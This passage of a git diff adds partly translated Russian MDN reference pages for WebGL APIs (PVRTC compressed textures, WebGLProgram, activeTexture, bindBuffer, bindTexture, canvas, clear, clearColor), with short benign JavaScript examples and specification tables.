+<p>Версии контекста, поддерживающие расширение:   {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} , и {{domxref("WebGL2RenderingContext", "WebGL2", "", 1)}}.</p>
+</div>
+
+<h2 id="Константы">Константы</h2>
+
+<p>Форматы сжатых текстур представлены четырьмя константми и могут быть использованы в двух функциях:<br>
+ {{domxref("WebGLRenderingContext.compressedTexImage2D", "compressedTexImage2D()")}} — параметры высота и ширина должны соотвествовать степени 2<br>
+ {{domxref("WebGLRenderingContext.compressedTexSubImage2D", "compressedTexSubImage2D()")}} — парметры высоты и ширины должны быть равны размеру текстуры, а значения параметров <code>xoffset</code> и <code>yoffset</code> должны быть 0.</p>
+
+<dl>
+ <dt><code>ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG</code></dt>
+ <dd>RGB сжатие в 4-битном режиме. Один блок на каждые 4×4 пикселей.</dd>
+ <dt><code>ext.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG</code></dt>
+ <dd>RGBA сжатие в 4-битном режиме. Один блок на каждые 4×4 пикселей.</dd>
+ <dt><code>ext.COMPRESSED_RGB_PVRTC_2BPPV1_IMG</code></dt>
+ <dd>RGB сжатие в 2-битном режиме. Один блок на каждые 8×4 пикселей.</dd>
+ <dt><code>ext.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG</code></dt>
+ <dd>RGBA сжатие в 2-битном режиме. Один блок на каждые 8×4 пикселей.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js">var ext = gl.getExtension('WEBGL_compressed_texture_pvrtc');
+
+var texture = gl.createTexture();
+gl.bindTexture(gl.TEXTURE_2D, texture);
+
+gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG, 512, 512, 0, textureData);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WEBGL_compressed_texture_pvrtc', "", "WEBGL_compressed_texture_pvrtc")}}</td>
+   <td>{{Spec2('WEBGL_compressed_texture_pvrtc')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WEBGL_compressed_texture_pvrtc")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/PVRTC">PVRTC Texture Compression – Wikipedia</a></li>
+ <li>{{domxref("WebGLRenderingContext.getExtension()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getParameter()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglprogram/index.html b/files/ru/web/api/webglprogram/index.html
new file mode 100644
index 0000000000..30a772e8ef
--- /dev/null
+++ b/files/ru/web/api/webglprogram/index.html
@@ -0,0 +1,98 @@
+---
+title: WebGLProgram
+slug: Web/API/WebGLProgram
+translation_of: Web/API/WebGLProgram
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLProgram</strong> это часть <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> и комбинация двух составляющих {{domxref("WebGLShader")}}-ов, состоящих из вертикального и фрагментного шейдеров (оба написаны на GLSL). Затем они связываются в готовую к использованию программу.</p>
+
+<pre class="brush: js">var program = gl.createProgram();
+
+// Прикрепление уже существующих шейдеров
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw "Could not compile WebGL program. \n\n" + info;
+}
+</pre>
+
+<p>Смотрите {{domxref("WebGLShader")}} для информации о том, как создать <code>vertexShader</code> и <code>fragmentShader</code> в примере выше.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_программы">Использование программы</h3>
+
+<p>Шаги для того, чтобы сделать какую-то работу с программой, включают сообщение GPU об использовании программы, связывание соответствующих данных и параметров конфигурации и наконец отрисовку чего-то на экране.</p>
+
+<pre class="brush: js">// Использование программы
+gl.useProgram(program);
+
+// Связывание существующих аттрибутов данных
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+gl.enableVertexAttribArray(attributeLocation);
+gl.vertexAttribPointer(attributeLocation, 3, gl.FLOAT, false, 0, 0);
+
+// Отрисовка простого треугольника
+gl.drawArrays(gl.TRIANGLES, 0, 3);
+</pre>
+
+<h3 id="Удаление_программы">Удаление программы</h3>
+
+<p>Если существует ошибка связывания программы или вы хотите удалить существующую программу, тогда это так же просто, как запустить {{domxref("WebGLRenderingContext.deleteProgram()")}}. Это освободит память от связанной программы.</p>
+
+<pre class="brush: js">gl.deleteProgram(program);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.6", "WebGLProgram")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api/WebGLProgram", "WebGLProgram")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html
new file mode 100644
index 0000000000..06b71db1a1
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html
@@ -0,0 +1,81 @@
+---
+title: WebGLRenderingContext.activeTexture()
+slug: Web/API/WebGLRenderingContext/activeTexture
+translation_of: Web/API/WebGLRenderingContext/activeTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.activeTexture()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> указывает какую текстуру сделать активной.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>void gl</em>.activeTexture</var><var>(texture);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>texture</code></dt>
+ <dd>Номер текстуры которую необходимо активировать. Значение <code>gl.TEXTURE<em>I</em></code> где <em>I</em> значение в диапозоне от 0 до <code>gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>None.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Если <em>texture</em> не относится к <code>gl.TEXTURE<em>I</em></code>, где <em>I</em> значение в диапозоне от 0 до <code>gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1</code>, то получаем исключение <code>gl.INVALID_ENUM</code> .</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вызов со значением <code>gl.TEXTURE1</code> выберет текстуру в качестве текущей. Последующие вызовы будут изменять эту текстуру.</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE1);
+</pre>
+
+<p>Количество текстур зависит от реализации, вы можете получить количество текстур с помощью константы <code>MAX_COMBINED_TEXTURE_IMAGE_UNITS</code>. Согласно спецификации не менее 8.</p>
+
+<pre class="brush: js">gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS);
+</pre>
+
+<p>чтобы получить текущую активную текстуру вызовите <code>gl.getParameter</code> с константой <code>ACTIVE_TEXTURE</code>.</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
+gl.getParameter(gl.ACTIVE_TEXTURE);
+// вернет "33984" (0x84C0, gl.TEXTURE0 enum value)
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "activeTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glActiveTexture.xml", "glActiveTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.activeTexture")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getParameter()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html b/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html
new file mode 100644
index 0000000000..bb65be620b
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html
@@ -0,0 +1,121 @@
+---
+title: WebGLRenderingContext.bindBuffer()
+slug: Web/API/WebGLRenderingContext/bindBuffer
+translation_of: Web/API/WebGLRenderingContext/bindBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>ebGLRenderingContext.bindBuffer()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> связывает {{domxref("WebGLBuffer")}} c точкой связывания(Атрибут регистром).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.bindBuffer(<var>target</var>, <var>buffer</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>target</dt>
+ <dd>{{domxref("GLenum")}} определяет точку связывания (target). Возможные значения:
+ <ul>
+  <li><code>gl.ARRAY_BUFFER</code>: Буфер содержащий вершинные атрибуты, такие как координаты, текстурные коориднаты(UV) или цвет вершины.</li>
+  <li><code>gl.ELEMENT_ARRAY_BUFFER</code>: Буфер использующий для индексирования элементов.</li>
+  <li>When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally:
+   <ul>
+    <li><code>gl.COPY_READ_BUFFER</code>: Buffer for copying from one buffer object to another.</li>
+    <li><code>gl.COPY_WRITE_BUFFER</code>: Buffer for copying from one buffer object to another.</li>
+    <li><code>gl.TRANSFORM_FEEDBACK_BUFFER</code>: Buffer for transform feedback operations.</li>
+    <li><code>gl.UNIFORM_BUFFER</code>: Buffer used for storing uniform blocks.</li>
+    <li><code>gl.PIXEL_PACK_BUFFER</code>: Buffer used for pixel transfer operations.</li>
+    <li><code>gl.PIXEL_UNPACK_BUFFER</code>: Buffer used for pixel transfer operations.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>buffer</dt>
+ <dd>{{domxref("WebGLBuffer")}} с которым осуществляется связывание.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Нет.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Only one target can be bound to a given {{domxref("WebGLBuffer")}}. An attempt to bind the buffer to another target will throw an <code>INVALID_OPERATION</code> error and the current buffer binding will remain the same.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Binding_a_buffer_to_a_target">Binding a buffer to a target</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+</pre>
+
+<h3 id="Getting_current_bindings">Getting current bindings</h3>
+
+<p>To check the current buffer bindings, query the <code>ARRAY_BUFFER_BINDING</code> and <code>ELEMENT_ARRAY_BUFFER_BINDING</code> constants.</p>
+
+<pre class="brush: js">gl.getParameter(gl.ARRAY_BUFFER_BINDING);
+gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "bindBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition for WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBindBuffer.xml", "glBindBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 2 API.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.1", "bindBuffer")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>
+    <p>Updated definition for WebGL 2.</p>
+
+    <p>Adds new <code>target</code> buffers:<br>
+     <code>gl.COPY_READ_BUFFER</code>,<br>
+     <code>gl.COPY_WRITE_BUFFER</code>,<br>
+     <code>gl.TRANSFORM_FEEDBACK_BUFFER</code>,<br>
+     <code>gl.UNIFORM_BUFFER</code>,<br>
+     <code>gl.PIXEL_PACK_BUFFER</code>,<br>
+     <code>gl.PIXEL_UNPACK_BUFFER</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBindBuffer.xhtml", "glBindBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 3 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bindBuffer")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+ <li>Other buffers: {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
new file mode 100644
index 0000000000..522a73c1c9
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
@@ -0,0 +1,110 @@
+---
+title: WebGLRenderingContext.bindTexture()
+slug: Web/API/WebGLRenderingContext/bindTexture
+translation_of: Web/API/WebGLRenderingContext/bindTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.bindTexture()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> связывает {{domxref("WebGLTexture")}} с <code>target</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.bindTexture(<var>target</var>, <var>texture</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>target</dt>
+ <dd>{{domxref("GLenum")}} указывает тип объекта <code>texture</code> для связывания. Возможные значения:
+ <ul>
+  <li><code>gl.TEXTURE_2D</code>: двухмерная текстура.</li>
+  <li><code>gl.TEXTURE_CUBE_MAP</code>: кубическая текстура.</li>
+  <li>При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны:
+   <ul>
+    <li><code>gl.TEXTURE_3D</code>: трехмерная текстура.</li>
+    <li><code>gl.TEXTURE_2D_ARRAY</code>: массив двумерных текстур.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>texture</dt>
+ <dd>{{domxref("WebGLTexture")}} объект связывания</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>None.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p><code>gl.INVALID_ENUM</code> исключение если <code>target</code> не<code>gl.TEXTURE_2D</code>, <code>gl.TEXTURE_CUBE_MAP</code>, <code>gl.TEXTURE_3D</code>, или <code>gl.TEXTURE_2D_ARRAY</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Привязчка_текстуры">Привязчка текстуры</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+gl.bindTexture(gl.TEXTURE_2D, texture);
+</pre>
+
+<h3 id="Получить_текущую_привязку">Получить текущую привязку</h3>
+
+<p>Для проверки текущей привязки текстуры, вызовите<code>gl.TEXTURE_BINDING_2D</code> или <code>gl.TEXTURE_BINDING_CUBE_MAP</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.TEXTURE_BINDING_2D);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "bindTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition for WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBindTexture.xml", "glBindTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 2.0 API.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.1", "bindTexture")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Updated definition for WebGL 2.<br>
+    Adds: <code>gl.TEXTURE_3D</code> and <code>gl.TEXTURE_2D_ARRAY</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBindTexture.xhtml", "glBindTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 3.0 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bindTexture")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+</ul>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/canvas/index.html b/files/ru/web/api/webglrenderingcontext/canvas/index.html
new file mode 100644
index 0000000000..7b76f9885b
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/canvas/index.html
@@ -0,0 +1,70 @@
+---
+title: WebGLRenderingContext.canvas
+slug: Web/API/WebGLRenderingContext/canvas
+translation_of: Web/API/WebGLRenderingContext/canvas
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><code><font face="Thread-00001520-Id-000000d3">Свойство </font><strong>WebGLRenderingContext.canvas</strong></code> доступно только для чтения. Возвращает ссылку на объекты {{domxref("HTMLCanvasElement")}} или {{domxref("OffscreenCanvas")}} связанные с установленным контекстом отрисовки. Если объект {{HTMLElement("canvas")}} или  {{domxref("OffscreenCanvas")}} не связан с контекстом, то возвращается значение {{jsxref("null")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var><em>gl</em></var>.canvas;</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Either a {{domxref("HTMLCanvasElement")}} or {{domxref("OffscreenCanvas")}} object or {{jsxref("null")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Canvas_element">Canvas element</h3>
+
+<p>Given this {{HTMLElement("canvas")}} element:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>You can get back a reference to it from the <code>WebGLRenderingContext</code> using the <code>canvas</code> property:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+gl.canvas; // HTMLCanvasElement
+</pre>
+
+<h3 id="Offscreen_canvas">Offscreen canvas</h3>
+
+<p>Example using the experimental {{domxref("OffscreenCanvas")}} object.</p>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+gl.canvas; // OffscreenCanvas</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.canvas")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.canvas")}}</li>
+ <li>{{domxref("OffscreenCanvas")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/clear/index.html b/files/ru/web/api/webglrenderingcontext/clear/index.html
new file mode 100644
index 0000000000..3c4d1db864
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/clear/index.html
@@ -0,0 +1,89 @@
+---
+title: WebGLRenderingContext.clear()
+slug: Web/API/WebGLRenderingContext/clear
+translation_of: Web/API/WebGLRenderingContext/clear
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Метод <strong><code>WebGLRenderingContext.clear()</code> </strong>из библиотеки <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> очищает буфер заданными значениями.</p>
+
+<p>Заданные значения могут быть установлены {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}}, {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} или {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}}.</p>
+
+<p>The scissor box, dithering, and buffer writemasks can affect the <code>clear()</code> method.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.clear(<var>mask</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>mask</code></dt>
+ <dd>Побитовая маска ИЛИ {{domxref("GLbitfield")}} указывает какие конкретно буферы нужно очистить. Возможные значения:
+ <ul>
+  <li><code>gl.COLOR_BUFFER_BIT</code></li>
+  <li><code>gl.DEPTH_BUFFER_BIT</code></li>
+  <li><code>gl.STENCIL_BUFFER_BIT</code></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Ничего.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Если <em>mask</em> не является ни одним из перечисленных значений, то генерируется ошибка <code>gl.INVALID_ENUM</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Метод <code>clear()</code> принимает несколько значений.</p>
+
+<pre class="brush: js">gl.clear(gl.DEPTH_BUFFER_BIT);
+gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT);
+</pre>
+
+<p>Чтобы получить текущее значение очистки буфера, нужно воспользоваться следующими константами: <code>COLOR_CLEAR_VALUE</code>, <code>DEPTH_CLEAR_VALUE</code>, и <code>STENCIL_CLEAR_VALUE</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.COLOR_CLEAR_VALUE);
+gl.getParameter(gl.DEPTH_CLEAR_VALUE);
+gl.getParameter(gl.STENCIL_CLEAR_VALUE);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.11", "clear")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glClear.xml", "glClear")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Справочная страница OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.clear")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.clearColor()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearDepth()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearStencil()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/clearcolor/index.html b/files/ru/web/api/webglrenderingcontext/clearcolor/index.html
new file mode 100644
index 0000000000..97e648eb7f
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/clearcolor/index.html
@@ -0,0 +1,79 @@
+---
+title: WebGLRenderingContext.clearColor()
+slug: Web/API/WebGLRenderingContext/clearColor
+translation_of: Web/API/WebGLRenderingContext/clearColor
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Метод <strong><code>WebGLRenderingContext.clearColor()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> определяет значения, используемые для задания цвета во время очистки буферов цвета.</p>
+
+<p>This specifies what color values to use when calling the {{domxref("WebGLRenderingContext.clear", "clear()")}} method. Эти значения находятся в пределах от 0 до 1.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.clearColor(<var>red, green, blue, alpha</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>red</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the red color value used when the color buffers are cleared. Default value: 0.</dd>
+ <dt><code>green</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the green color value used when the color buffers are cleared. Default value: 0.</dd>
+ <dt><code>blue</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the blue color value used when the color buffers are cleared. Default value: 0.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the alpha (transparency) value used when the color buffers are cleared. Default value: 0.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h2 id="Examples">Examples</h2>
+
